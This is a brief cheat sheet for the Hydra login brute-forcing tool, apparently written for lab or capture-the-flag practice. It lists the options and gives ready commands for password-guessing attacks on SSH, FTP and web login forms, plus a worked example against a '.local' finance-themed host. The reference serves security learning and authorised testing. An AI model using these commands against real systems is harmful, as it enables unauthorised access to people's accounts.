Basic Syntax

hydra -l [username] -P [password_file] [MACHINE_IP] [protocol]

Options

Option	Description
-l	single username
-L	username file
-p	single password
-P	password file
-t	sets the number of threads to spawn
-V	Verbose output

SSH Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] ssh

FTP Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] ftp

HTTP POST Form Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] http-post-form "[path_to_login_page]]/:username=^USER^&password=^PASS^:[F/S]=[message_to_check]" -V
F= Failure condition - String that appears when login has failed.
S= Success condtion - Use if output on successful login is known.
Eg: hydra -L tryfinanceme.local/users.txt -P pass_helios.txt tryfinanceme.local http-post-form "/helios/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"